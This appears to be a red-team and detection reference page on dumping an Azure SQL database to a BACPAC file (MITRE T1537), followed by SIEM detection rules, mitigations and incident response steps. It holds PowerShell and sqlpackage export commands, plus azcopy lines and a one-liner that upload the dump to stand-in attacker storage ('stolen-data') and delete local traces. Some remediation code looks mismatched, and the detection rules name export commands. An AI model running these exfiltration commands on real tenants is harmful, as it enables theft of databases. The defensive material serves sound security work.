MCADDF

[COLLECT-DATA-002]: Azure SQL Database Dump

1. METADATA HEADER

Attribute Details
Technique ID COLLECT-DATA-002
MITRE ATT&CK v18.1 Transfer Data to Cloud Account (T1537)
Tactic Collection, Exfiltration
Platforms Entra ID (Azure)
Severity Critical
CVE N/A
Technique Status ACTIVE
Last Verified 2026-01-10
Affected Versions Azure SQL Database all tiers, SqlPackage 18.0+, PowerShell Az.Sql 4.0+
Patched In N/A - No patch available; depends on RBAC and network controls
Author SERVTEPArtur Pchelnikau

2. EXECUTIVE SUMMARY

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 4.1.2, 4.1.3 Database Activity Monitoring, encryption at rest
DISA STIG SV-213887 Ensure SQL database is encrypted at rest (TDE)
NIST 800-53 AC-3, SC-13 Access Control, Cryptographic Protection
GDPR Art. 32 Security of Processing – Encryption, access control
DORA Art. 9 Protection and Prevention
NIS2 Art. 21 Cyber Risk Management Measures
ISO 27001 A.10.1.3 Segregation of duties for database administration
ISO 27005 Scenario: “Database credential compromise” Risk of unauthorized data extraction

3. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


4. ENVIRONMENTAL RECONNAISSANCE

PowerShell Reconnaissance

# Connect to Azure
Connect-AzAccount

# List all SQL databases in subscription
Get-AzSqlDatabase -ResourceGroupName "rg-name" | Select-Object ResourceGroupName, ServerName, DatabaseName, Edition, CurrentServiceObjectiveName

# Check if database encryption (TDE) is enabled
Get-AzSqlDatabaseTransparentDataEncryption -ResourceGroupName "rg-name" -ServerName "sql-server" -DatabaseName "database-name"

# Get database size and maximum size
Get-AzSqlDatabase -ResourceGroupName "rg-name" -ServerName "sql-server" -DatabaseName "database-name" | Select-Object Edition, MaxSizeBytes

# List SQL Server firewall rules (check for public access)
Get-AzSqlServerFirewallRule -ResourceGroupName "rg-name" -ServerName "sql-server"

# Check if server has Entra ID admin configured
Get-AzSqlServerActiveDirectoryAdministrator -ResourceGroupName "rg-name" -ServerName "sql-server"

What to Look For:

Azure CLI Reconnaissance

# List SQL databases
az sql db list --resource-group rg-name --server sql-server --output table

# Get database properties
az sql db show --resource-group rg-name --server sql-server --name database-name --query "{Edition:edition, MaxSize:maxSizeBytes, ServiceObjective:requestedServiceObjectiveName}"

# Check TDE status
az sql db tde show --resource-group rg-name --server sql-server --database database-name

5. DETAILED EXECUTION METHODS

METHOD 1: PowerShell Database Export to Blob Storage

Supported Versions: All Azure SQL Database tiers

Step 1: Obtain SQL Database Admin Credentials

Objective: Acquire authentication credentials for Azure SQL Database

Command:

# If using SQL authentication, retrieve or set SQL admin credentials
$sqlAdminUsername = "sqladmin"
$sqlAdminPassword = "ComplexPassword123!"  # In real attack, compromised from environment

# If using Entra ID, get current user token (already authenticated via Connect-AzAccount)
$context = Get-AzContext
$token = $context.Account.ExtendedProperties

Step 2: Prepare Storage Account for BACPAC Export

Objective: Create storage account and container to receive exported BACPAC file

Command:

# Get storage account context
$storageAccount = Get-AzStorageAccount -ResourceGroupName "rg-name" -Name "storage-account"
$storageContext = $storageAccount.Context

# Create container if it doesn't exist
New-AzStorageContainer -Name "bacpac-exports" -Context $storageContext -Permission Off -ErrorAction SilentlyContinue

# Generate SAS URI for BACPAC file
$sasToken = New-AzStorageAccountSASToken -Service Blob -ResourceType Container, Object `
  -Permission "racwd" -ExpiryTime (Get-Date).AddHours(2) -Context $storageContext

$bacpacUri = "https://$($storageAccount.StorageAccountName).blob.core.windows.net/bacpac-exports/export_$(Get-Date -Format 'yyyyMMdd_HHmmss').bacpac$sasToken"

Step 3: Export Database to BACPAC

Objective: Initiate database export operation to blob storage

Command:

# Define export parameters
$exportRequest = New-AzSqlDatabaseExport `
  -ResourceGroupName "rg-name" `
  -ServerName "sql-server" `
  -DatabaseName "database-name" `
  -StorageKeyType "StorageAccessKey" `
  -StorageKey ($storageAccount.Context.StorageAccount.Credentials.ExportBase64EncodedKey) `
  -StorageUri $bacpacUri `
  -AdministratorLogin $sqlAdminUsername `
  -AdministratorLoginPassword (ConvertTo-SecureString $sqlAdminPassword -AsPlainText -Force)

# Monitor export progress
$exportStatus = Get-AzSqlDatabaseImportExportStatus -OperationStatusLink $exportRequest.OperationStatusLink
while ($exportStatus.Status -eq "InProgress") {
  Write-Host "Export in progress: $($exportStatus.StatusMessage)"
  Start-Sleep -Seconds 30
  $exportStatus = Get-AzSqlDatabaseImportExportStatus -OperationStatusLink $exportRequest.OperationStatusLink
}

Write-Host "Export Status: $($exportStatus.Status)"

Expected Output:

Export in progress: The export operation is in progress (approx 15% complete)
Export in progress: The export operation is in progress (approx 42% complete)
Export in progress: The export operation is in progress (approx 78% complete)
Export Status: Succeeded

What This Means:

OpSec & Evasion:

Troubleshooting:


METHOD 2: SqlPackage Command-Line Export (Offline)

Supported Versions: All Azure SQL versions (if network access available)

Step 1: Prepare SqlPackage Tool

Command:

# Download and extract SqlPackage (if not already installed)
choco install sqlpackage  # Windows (requires Chocolatey)
# OR manually download from Microsoft

# Verify installation
sqlpackage.exe -version

Step 2: Export Database via SqlPackage

Command:

# Export using SqlPackage with Entra ID token
sqlpackage.exe /Action:Export ^
  /SourceServerName:"sqlserver.database.windows.net" ^
  /SourceDatabaseName:"database-name" ^
  /SourceUser:"entra_user@company.onmicrosoft.com" ^
  /SourcePassword:"EntraIDPassword" ^
  /TargetFile:"C:\temp\database_export.bacpac"

# Alternative: Using SQL Server authentication
sqlpackage.exe /Action:Export ^
  /SourceConnectionString:"Server=tcp:sqlserver.database.windows.net,1433;Initial Catalog=database-name;Persist Security Info=False;User ID=sqladmin;Password=Password123!;Encrypt=True;Connection Timeout=30;" ^
  /TargetFile:"C:\temp\database_export.bacpac"

Expected Output:

*** Microsoft.SqlServer.Dac.DacServices
Action: Export
Exporting database...
Database export succeeded.
Total execution time: 00:45:23.456

Step 3: Exfiltrate BACPAC File

Command:

# Upload to attacker-controlled blob storage
$bacpacPath = "C:\temp\database_export.bacpac"
$storageUri = "https://attacker-storage.blob.core.windows.net/stolen-data/db.bacpac?<SAS_token>"

azcopy copy $bacpacPath $storageUri

# Or use AzCopy login with attacker tenant
azcopy login --tenant-id <attacker-tenant-id>
azcopy copy $bacpacPath "https://attacker-storage.blob.core.windows.net/stolen-data/db.bacpac"

# Clean up local file
Remove-Item $bacpacPath -Force

METHOD 3: Azure CLI Database Export

Supported Versions: Azure CLI 2.50+

Command:

# Export database to blob storage
az sql db export --resource-group rg-name \
  --server sql-server \
  --name database-name \
  --admin-user sqladmin \
  --admin-password "Password123!" \
  --storage-key "<storage-account-key>" \
  --storage-key-type StorageAccessKey \
  --storage-uri "https://storage.blob.core.windows.net/container/db.bacpac"

6. TOOLS & COMMANDS REFERENCE

SqlPackage CLI Tool

Version: 18.8 (Current) Minimum Version: 16.0 Supported Platforms: Windows, Linux, macOS

Installation:

# Windows (via Chocolatey)
choco install sqlpackage

# Linux (manual)
wget https://go.microsoft.com/fwlink/?linkid=2157202 -O sqlpackage.zip
unzip sqlpackage.zip -d /opt/sqlpackage
chmod +x /opt/sqlpackage/sqlpackage

# macOS
brew install microsoft-sqlpackage

One-Liner (Export + Upload):

sqlpackage /Action:Export /SourceConnectionString:"Server=tcp:sqlserver.database.windows.net,1433;Initial Catalog=db;Persist Security Info=False;User ID=admin;Password=Pass123!;Encrypt=True;" /TargetFile:db.bacpac && azcopy copy db.bacpac "https://attacker.blob.core.windows.net/stolen/" && rm db.bacpac

7. SPLUNK DETECTION RULES

Rule 1: Azure SQL Database Export Operations

SPL Query:

sourcetype="azure:aad:audit" OperationName="Export database" 
| stats count by InitiatedBy.user.userPrincipalName, TargetResources{}.displayName, properties.result
| where count > 0

Manual Configuration Steps:

  1. Log into Splunk WebSearch & Reporting
  2. Click SettingsSearches, reports, and alerts
  3. Click New Alert
  4. Paste SPL query above
  5. Set Trigger Condition to > 0 results
  6. Configure Action → Send email to SOC team

8. MICROSOFT SENTINEL DETECTION

Query 1: Suspicious SQL Database Export

KQL Query:

AuditLogs
| where OperationName == "Export database" or OperationName == "Create or Update Database"
| where Result == "Success"
| join kind=inner (
    AuditLogs
    | where OperationName == "Get storage account key"
    | project RequesterObjectId, TimeGenerated as StorageKeyTime
) on InitiatedBy.user.id == RequesterObjectId
| where TimeGenerated - StorageKeyTime between (0min .. 10min)
| project TimeGenerated, InitiatedBy.user.userPrincipalName, OperationName, TargetResources[0].displayName

Manual Configuration Steps (Azure Portal):

  1. Navigate to Azure PortalMicrosoft Sentinel
  2. Select workspace → Analytics
  3. Click + CreateScheduled query rule
  4. Paste KQL query above
  5. Run query every: 10 minutes
  6. Click Review + create

9. WINDOWS EVENT LOG MONITORING

Event ID: 4688 (A new process has been created)

Manual Configuration Steps (Group Policy):

  1. Open Group Policy Management Console (gpmc.msc)
  2. Navigate to Computer ConfigurationPoliciesWindows SettingsSecurity SettingsAdvanced Audit Policy Configuration
  3. Enable: Audit Process Creation
  4. Set to: Success
  5. Enable: Command Line Process Auditing via registry:
    New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit" -Name ProcessCreationIncludeCmdLine_Enabled -Value 1 -Force
    
  6. Run gpupdate /force

10. SYSMON DETECTION PATTERNS

Minimum Sysmon Version: 13.0+ Supported Platforms: Windows

<Sysmon schemaversion="4.81">
  <!-- Detect SqlPackage execution -->
  <RuleGroup name="" groupRelation="or">
    <ProcessCreate onmatch="include">
      <Image condition="contains">sqlpackage.exe</Image>
      <CommandLine condition="contains">/Action:Export</CommandLine>
      <CommandLine condition="contains">/TargetFile</CommandLine>
    </ProcessCreate>
  </RuleGroup>

  <!-- Detect PowerShell SQL export cmdlets -->
  <RuleGroup name="" groupRelation="or">
    <ProcessCreate onmatch="include">
      <CommandLine condition="contains">New-AzSqlDatabaseExport</CommandLine>
      <CommandLine condition="contains">az sql db export</CommandLine>
    </ProcessCreate>
  </RuleGroup>

  <!-- Monitor network connections to Azure SQL endpoints -->
  <RuleGroup name="" groupRelation="or">
    <NetworkConnect onmatch="include">
      <DestinationHostname condition="contains">.database.windows.net</DestinationHostname>
      <DestinationPort condition="is">1433</DestinationPort>
    </NetworkConnect>
  </RuleGroup>
</Sysmon>

11. MICROSOFT DEFENDER FOR CLOUD

Detection Alerts

Alert Name: “Suspicious SQL database export detected”

Manual Configuration Steps (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings
  3. Select subscription
  4. Under Defender plans, enable:
    • Defender for SQL servers: ON
    • Defender for SQL servers on machines: ON
  5. Click Save

12. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: SQLDatabaseExported

Search-UnifiedAuditLog -Operations "Export database" -StartDate (Get-Date).AddDays(-7) | Select-Object UserIds, ClientIP, AuditData | Export-Csv -Path "C:\Logs\sql_exports.csv"

13. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Enable Transparent Data Encryption (TDE) with Customer-Managed Keys (CMK)

Objective: Ensure exported BACPAC file is encrypted with keys outside attacker control

Manual Steps (Azure Portal):

  1. Go to Azure SQL ServerTransparent Data Encryption
  2. Click Bring Your Own Key (BYOK)
  3. Select Azure Key Vault → Create new key
  4. Click Save

Manual Steps (PowerShell):

# Create Azure Key Vault key
$vaultName = "kv-sql-keys"
$keyName = "tde-key"
$key = Add-AzKeyVaultKey -VaultName $vaultName -Name $keyName -Destination Software

# Enable TDE with CMK
Set-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName "rg-name" `
  -ServerName "sql-server" `
  -Type AzureKeyVault `
  -KeyId $key.ID

Enforce Entra ID Authentication Only (Disable SQL Authentication)

Objective: Eliminate SQL password-based access vector

Manual Steps (PowerShell):

# Disable SQL Server admin login (if only Entra ID auth needed)
Set-AzSqlServer -ResourceGroupName "rg-name" -ServerName "sql-server" `
  -SqlAdministratorCredentials $null -Force

# Alternatively, set minimum TLS version to 1.2 (blocks legacy SQL auth attempts)
Set-AzSqlServer -ResourceGroupName "rg-name" -ServerName "sql-server" `
  -MinimalTlsVersion "1.2"

Restrict Database Export via Azure Policy

Objective: Require approval or block database exports

Manual Steps (PowerShell):

# Create custom Azure Policy to deny export operations
$policyDefinition = @{
  "Name" = "Deny-SQL-Database-Export"
  "DisplayName" = "Deny SQL Database Export"
  "PolicyRule" = @{
    "if" = @{
      "allOf" = @(
        @{
          "field" = "type"
          "equals" = "Microsoft.Sql/servers/databases/extensions"
        },
        @{
          "field" = "Microsoft.Sql/servers/databases/extensions/type"
          "equals" = "import"
        }
      )
    },
    "then" = @{
      "effect" = "Deny"
    }
  }
}

New-AzPolicyDefinition -Policy $policyDefinition

Validation Command (Verify Fix):

# Verify TDE is enabled with CMK
Get-AzSqlServerTransparentDataEncryptionProtector -ResourceGroupName "rg-name" -ServerName "sql-server"

# Verify Entra ID admin is configured
Get-AzSqlServerActiveDirectoryAdministrator -ResourceGroupName "rg-name" -ServerName "sql-server"

Expected Output (If Secure):

ServerKeyType: AzureKeyVault (not "ServiceManaged")
KeyVaultKeyId: /subscriptions/.../keys/tde-key

14. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Process Names:

Cloud Audit Operations:

Network:

Forensic Artifacts

Cloud Logs:

Disk (if SqlPackage used locally):


Response Procedures

1. Containment (0-5 minutes):

# Disable SQL Server admin login
Set-AzSqlServer -ResourceGroupName "rg-name" -ServerName "sql-server" -SqlAdministratorCredentials $null

2. Investigation (5-30 minutes):

# Get export history
Get-AzResourceGroupDeploymentOperation -ResourceGroupName "rg-name" -DeploymentName "*" | Where-Object { $_.Properties.ProvisioningOperation -contains "Create" }

# List recently accessed blobs
Get-AzStorageBlob -Container "bacpac-exports" -Context $storageContext | Where-Object { $_.LastModified -gt (Get-Date).AddHours(-24) }

3. Remediation (30-60 minutes):

# Rotate SQL admin password
$newPassword = "NewComplexPassword$(Get-Random)"
Set-AzSqlServerAuditingPolicy -ResourceGroupName "rg-name" -ServerName "sql-server" `
  -AuditType Table -StorageEndpoint "https://storage.blob.core.windows.net" `
  -StorageAccountName "storage" -StorageKeyType "Primary"

# Delete exported BACPAC file
Remove-AzStorageBlob -Blob "export_*.bacpac" -Container "bacpac-exports" -Context $storageContext

Step Phase Technique Description
1 Initial Access [IA-PHISH-001] Device Code Phishing Attacker phishes Entra ID credentials
2 Privilege Escalation [PE-VALID-010] Azure Role Assignment Abuse Attacker adds themselves as SQL DB Contributor
3 Collection [COLLECT-DATA-002] Azure SQL Database Dump Attacker exports database to BACPAC
4 Exfiltration [COLLECT-DATA-001] Blob Storage Exfiltration Attacker transfers BACPAC via AzCopy
5 Impact [IMPACT-001] Data Destruction Attacker deletes database backups

16. REAL-WORLD EXAMPLES

Example 1: Microsoft Threat Intelligence - “LoftyCloud” Incident (2024)

Example 2: CrowdStrike Report - “FinancialFox” Campaign (2023)